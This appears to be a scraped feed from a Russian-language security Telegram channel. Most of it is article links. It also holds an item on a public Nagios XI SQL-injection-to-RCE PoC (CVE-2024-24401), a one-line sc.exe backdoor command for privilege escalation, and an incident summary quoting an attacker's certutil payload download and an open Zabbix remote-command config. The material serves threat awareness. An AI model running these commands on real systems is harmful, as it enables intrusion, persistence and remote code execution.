Fsecurity | HH

🔗Ссылка: https://habr.com/ru/companies/pt/articles/758142/

🔗Ссылка: https://habr.com/ru/companies/pt/articles/794945/

🔗Ссылка: https://www.securitylab.ru/news/551747.php

👩‍💻 Nagios XI — RCE Nagios XI 2024R1.01 has a vulnerability in the monitoringwizard.php component, allowing authenticated SQL injection (CVE-2024-24401) that lets attackers create an admin account and remote code execution. 🔗 Source: https://github.com/MAWK0235/CVE-2024-24401 #nagios #sql #rce #privesc #poc #exploit

🔗Ссылка: https://habr.com/ru/companies/first/articles/839496/

🔗Ссылка: https://habr.com/ru/companies/selectel/articles/840834/

🔗Ссылка: https://www.securitylab.ru/news/551753.php

🔗Ссылка: https://spy-soft.net/2fa-bypass-hackerone/

🔗Ссылка: https://habr.com/ru/companies/cyberok/articles/840506/

🔗Ссылка: https://habr.com/ru/companies/tomhunter/articles/840602/

🔗Ссылка: https://habr.com/ru/companies/drweb/articles/840866/

🔗Ссылка: https://xakep.ru/2024/09/04/active-listening/

🔗Ссылка: https://spy-soft.net/sigma-r2024-09-02/

🔗Ссылка: https://habr.com/ru/companies/kaspersky/articles/840308/

Almost invisible, persistent, fileless, LPE backdoor from an elevated command prompt:

sc.exe sdset scmanager D:(A;;KA;;;WD)

By Gregorz Tworek

Среди интересных инцидентов прошлого года – выявлен очень незаметный способ закрепиться и латерально перемещаться. Небольшое количество изменений в системе, вне поверхности обычного абузного легитимного win-based и под покрывалом обычного софта. Атакующие приносят нагрузки:

certutil.exe -urlcache -split -f hxxp://<Public IP>/<file with payload>

Используют возможности популярной системы мониторинга Zabbix с конфигурацией, разрешающей удалённое выполнение команд:

EnableRemoteCommands=1
LogFile=0
Server=0.0.0.0/0
ListenPort=5432

Для Zabbix-агентов на фаерволе злоумышленники открывают порт 5432 с красивым и правильным именем PGSQL. В результате использования этих техник атакующие, очень похожие на группировку Flax Typhoon, более двух лет остаются незамеченными в системе – пока не приходят эксперты по реагированию на инциденты. Подробнее об этой атаке, а также о других интересных инцидентах, расследованных нашими коллегами в прошлом году: https://securelist.com/incident-response-interesting-cases-2023/113611/

Появилась запись нашего с Сергеем доклада про выгорание 😊

🔗Ссылка: https://www.anti-malware.ru/news/2024-09-03-114534/44050

Был обновлен Obsidian Pentest 👾 1. Коммит 2. Коммит Приятного чтения 📖 Наш Discord сервер 👆🏻Тут можно пообщаться 🦈